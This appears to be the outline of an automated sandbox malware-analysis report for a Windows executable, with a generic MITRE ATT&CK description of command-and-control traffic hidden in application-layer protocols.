Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
CAo57G5Cio.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre